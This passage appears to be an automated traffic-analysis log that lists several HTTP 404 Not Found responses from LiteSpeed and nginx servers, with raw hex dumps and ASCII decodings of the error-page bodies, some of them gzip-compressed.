61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 30 66 30 66 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 30 70 78 20 33 30 70 78 20 30 70 78 20 33 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 63 6c 65 61 72 3a 62 6f 74 68 3b 68 65 69 67 68 74 3a 31 30 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 31 30 31
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 1251date: Mon, 25 Nov 2024 08:43:06 GMTserver: LiteSpeedData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 30 66 30 66 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 30 70 78 20 33 30 70 78 20 30 70 78 20 33 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 63 6c 65 61 72 3a 62 6f 74 68 3b 68 65 69 67 68 74 3a 31 30 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 31 30 31
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 1251date: Mon, 25 Nov 2024 08:43:12 GMTserver: LiteSpeedData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 30 66 30 66 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 30 70 78 20 33 30 70 78 20 30 70 78 20 33 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 63 6c 65 61 72 3a 62 6f 74 68 3b 68 65 69 67 68 74 3a 31 30 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 31 30 31
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 25 Nov 2024 08:43:18 GMTContent-Type: text/htmlContent-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 25 Nov 2024 08:43:21 GMTContent-Type: text/htmlContent-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 25 Nov 2024 08:43:24 GMTContent-Type: text/htmlContent-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 25 Nov 2024 08:43:27 GMTContent-Type: text/htmlContent-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Mon, 25 Nov 2024 08:40:36 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeETag: W/"5d07e7ed-36b"Content-Encoding: gzipData Raw: 31 63 35 0d 0a 1f 8b 08 00 00 00 00 00 04 03 b5 53 cd 8e d3 40 0c be e7 29 cc 9e b7 1d 10 e2 52 86 48 ab c2 a1 07 16 84 2a 24 8e 6e c6 69 46 4a c6 c1 e3 6c 54 21 de 1d 4f d2 65 81 0b 5c c8 25 33 8e ed ef c7 8e 7f f6 f6 c3 fe f8 e5 e3 3b e8 74 e8 eb ca 3f be 08 83 dd 34 6a 4f f5 67 92 d8 c6 06 35 72 02 6e 61 cf 49 b1 51 38 a4 96 65 58 c2 de ad a9 95 cf 7a b1 92 0a ec 39 71 b8 c0 b7 e5 58 ae 73 0c da ed e0 e5 2b 1a 5e ff 0c 0e 28 e7 98 76 f0 1c 70 52 7e 8a b7 86 b1 69 71 88 fd 65 07 47 ec 78 c0 5b 30 22 01 93 1d ee 24 62 7f 0b 19 53 de e4 c2 6e 2d fc 5e 79 77 c5 f7 ae 5b 25 14 12 45 d7 8b 7f 93 61 79 95 1f eb 63 47 10 0c 33 26 88 19 94 86 91 05 c5 c8 80 59 d0 71 1f 60 a4 14 62 3a c3 c3 1f e6 a8 55 92 15 f6 80 21 08 e5 5c 1c 2b c1 4f 74 8e 59 05 93 02 66 2b 97 25 7a d8 df dd df 83 4c 3d 59 62 2a 0a ff 66 f5 d6 bb b1 ae 0a c9 f7 2c c6 92 d4 c0 1e 51 32 5d 7b 35 98 e0 44 d0 f2 94 02 a0 ee fc 49 9c 29 43 e8 84 da 37 37 9d ea b8 73 6e 9e e7 ad 0d 36 a5 2d cb d9 51 72 46 98 27 69 28 bb 86 87 b1 8f 98 1a 5a 8f 66 85 66 fb be 8a 90 92 b0 6c c1 e6 57 03 6e ea ff d4 d8 3b ac 9f 84 1f 5a b8 f0 04 68 f2 8b b3 3c 27 73 73 b1 d9 86 75 1d db d8 13 9a 1b 57 96 25 5f 60 14 7e 88 c1 72 d1 4c 11 fa 3a 51 56 7b ff 26 01 58 cc b5 be e7 79 e9 1d 93 cd 6c 6a ca ea e7 75 ae 14 40 79 c1 cf 1d 8b da 4a 60 ab d6 73 41 60 b1 f6 2b 51 ef ae ab e7 d6 7f ea 07 31 da 86 40 6b 03 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 1c5S@)RH$niFJlT!Oe\%3;t?4jOg5rnaIQ8eXz9qXs+^(vpR~iqeGx[0"$bSn-^yw[%EaycG3&Yq`b:U!\+OtYf+%zL=Ybf,Q2]{5DI)C77sn6-QrF'i(ZfflWn;Zh<'ssuW%_`~rL:QV{&Xylju@yJ`sA`+Q1@k0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Mon, 25 Nov 2024 09:04:26 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeETag: W/"5d07e874-36b"Content-Encoding: gzipData Raw: 31 63 35 0d 0a 1f 8b 08 00 00 00 00 00 04 03 b5 53 cd 8e d3 40 0c be e7 29 cc 9e b7 1d 10 e2 52 86 48 ab c2 a1 07 16 84 2a 24 8e 6e c6 69 46 4a c6 c1 e3 6c 54 21 de 1d 4f d2 65 81 0b 5c c8 25 33 8e ed ef c7 8e 7f f6 f6 c3 fe f8 e5 e3 3b e8 74 e8 eb ca 3f be 08 83 dd 34 6a 4f f5 67 92 d8 c6 06 35 72 02 6e 61 cf 49 b1 51 38 a4 96 65 58 c2 de ad a9 95 cf 7a b1 92 0a ec 39 71 b8 c0 b7 e5 58 ae 73 0c da ed e0 e5 2b 1a 5e ff 0c 0e 28 e7 98 76 f0 1c 70 52 7e 8a b7 86 b1 69 71 88 fd 65 07 47 ec 78 c0 5b 30 22 01 93 1d ee 24 62 7f 0b 19 53 de e4 c2 6e 2d fc 5e 79 77 c5 f7 ae 5b 25 14 12 45 d7 8b 7f 93 61 79 95 1f eb 63 47 10 0c 33 26 88 19 94 86 91 05 c5 c8 80 59 d0 71 1f 60 a4 14 62 3a c3 c3 1f e6 a8 55 92 15 f6 80 21 08 e5 5c 1c 2b c1 4f 74 8e 59 05 93 02 66 2b 97 25 7a d8 df dd df 83 4c 3d 59 62 2a 0a ff 66 f5 d6 bb b1 ae 0a c9 f7 2c c6 92 d4 c0 1e 51 32 5d 7b 35 98 e0 44 d0 f2 94 02 a0 ee fc 49 9c 29 43 e8 84 da 37 37 9d ea b8 73 6e 9e e7 ad 0d 36 a5 2d cb d9 51 72 46 98 27 69 28 bb 86 87 b1 8f 98 1a 5a 8f 66 85 66 fb be 8a 90 92 b0 6c c1 e6 57 03 6e ea ff 